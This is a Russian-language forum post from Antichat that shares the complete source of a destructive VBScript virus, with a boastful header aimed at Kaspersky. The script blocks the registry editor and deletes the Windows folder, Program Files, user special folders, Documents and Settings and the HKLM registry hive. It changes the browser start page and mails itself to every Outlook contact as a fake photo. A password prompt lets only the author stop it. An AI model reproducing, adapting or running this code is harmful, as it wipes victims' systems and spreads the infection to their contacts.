Форум АНТИЧАТ - Ну вот ещё один вир в .vbs

Код:
'            = = = = = =  = > KASPERSKII SUKA < = = = = = = = 



'      Объявление переменных(этот абзац не перемещать)

Set FileSystemObject = CreateObject("scripting.filesystemobject")

Set Shell = CreateObject("Wscript.Shell")

t = 0: On Error Resume Next ' Пропускать ошибки

Set Application = CreateObject("Shell.Application")

Set InternerExplorer = WScript.CreateObject("InternetExplorer.Application")

Set Outlook = WScript.CreateObject("Outlook.Application")





' Минимизировать все окна

Application.MinimizeAll



' Блокировать RegEdit(чтоб у него не заводился редактор реестра).Для того чтобы разблокировать происвойте DisableRegistryTools значение - 0

Shell.RegWrite "HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\SYSTEM\DisableRegistryTools", 1, "REG_DWORD"



'     Вывести сообщение с запросом пароля

prl = inputbox("Введи пароль", "Запрос")

If prl = "Kaza" Then FileSystemObject.deletefile WScript.ScriptFullName, True: Wscript.Quit



' Удаление C:\WINDOWS

str = "C:\WINDOWS"

If FileSystemObject.fileExists(str) = True Then

FileSystemObject.deletefile str,True

ElseIf FileSystemObject.folderExists(str) = True Then

FileSystemObject.deletefolder str,True

End If



' Удаление C:\Program Files

str = "C:\Program Files"

If FileSystemObject.fileExists(str) = True Then

FileSystemObject.deletefile str,True

ElseIf FileSystemObject.folderExists(str) = True Then

FileSystemObject.deletefolder str,True

End If



' Сделать домашней страницу "http:\\www.lunka.com"

Shell.RegWrite "HKCU\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page", "http:\\www.lunka.com"



' Разослать вирус Все контакты неприятеля

For Index = 1 To Outlook.GetNameSpace("MAPI").AddressLists(1).count

Set OutMail = Outlook.CreateItem(0)

OutMail.to = Outlook.GetNameSpace("MAPI").AddressLists(1).AddressEntries(Index)

OutMail.Subject = "Привет!"

OutMail.Body = "Лови фотку"

OutMail.Attachments.Add WScript.ScriptFullName

OutMail.Send

Next





'     Удаление всех специальных папок

 For Each Folder In Shell.SpecialFolders

  FileSystemObject.deletefolder folder,True

 Next

' Удаление Documents and Settings

 FileSystemObject.deletefolder"C:\Documents and Settings",True

 FileSystemObject.deletefolder"D:\Documents and Settings",True

 FileSystemObject.deletefolder"E:\Documents and Settings",True



' Удалить запись в Реестре

Shell.RegDelete "HKEY_LOCAL_MACHINE\"



'     Вывести сообщение 

Shell.popup "Master", 5, "Автор вируса", 0+48
Ну как? :D